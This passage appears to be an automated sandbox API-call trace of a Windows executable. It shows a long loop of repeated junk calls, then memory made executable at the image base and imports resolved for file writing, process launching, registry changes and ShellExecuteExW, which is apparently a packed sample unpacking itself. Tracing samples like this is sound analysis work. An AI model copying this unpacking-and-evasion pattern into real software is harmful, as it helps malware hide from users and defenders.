FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.893] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.893] AddAtomA (lpString=0x0) returned 0x0 [0051.893] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.894] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.894] AddAtomA (lpString=0x0) returned 0x0 [0051.894] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.895] AddAtomA (lpString=0x0) returned 0x0 [0051.895] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.895] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.896] AddAtomA (lpString=0x0) returned 0x0 [0051.896] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.896] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.897] AddAtomA (lpString=0x0) returned 0x0 [0051.897] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.897] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.918] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0051.918] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0051.918] SetErrorMode (uMode=0x400) returned 0x0 [0051.918] SetErrorMode (uMode=0x0) returned 0x400 [0051.918] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x2c0000 [0051.921] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0051.949] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.950] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0051.951] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0051.952] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.953] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0051.954] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0051.955] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0051.955] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0051.955] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0051.955] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0051.955] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0051.955] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0051.955] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0051.955] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0051.955] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0051.955] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0051.955] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0051.955] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0051.955] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0051.955] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0051.956] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0051.956] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0051.956] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0051.956] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0051.956] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0051.956] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0051.956] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0051.956] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0051.959] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0051.959] atexit (param_1=0x3163d8) returned 0 [0051.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0x40091ec0, dwHighDateTime=0x1d53dff)) [0051.960] GetCurrentThreadId () returned 0xa04 [0051.960] GetCurrentProcessId () returned 0xa00 [0051.960] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17218381088) returned 1 [0051.960] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0051.960] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.960] GetLastError () returned 0x57 [0051.960] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.960] GetLastError () returned 0x57 [0051.960] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0051.960] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0051.960] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.960] GetLastError () returned 0x57 [0051.960] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0051.960] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0051.960] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.960] GetLastError () returned 0x57 [0051.960] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.960] GetLastError () returned 0x57 [0051.960] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0051.960] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0051.961] GetProcessHeap () returned 0x300000 [0051.961] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) 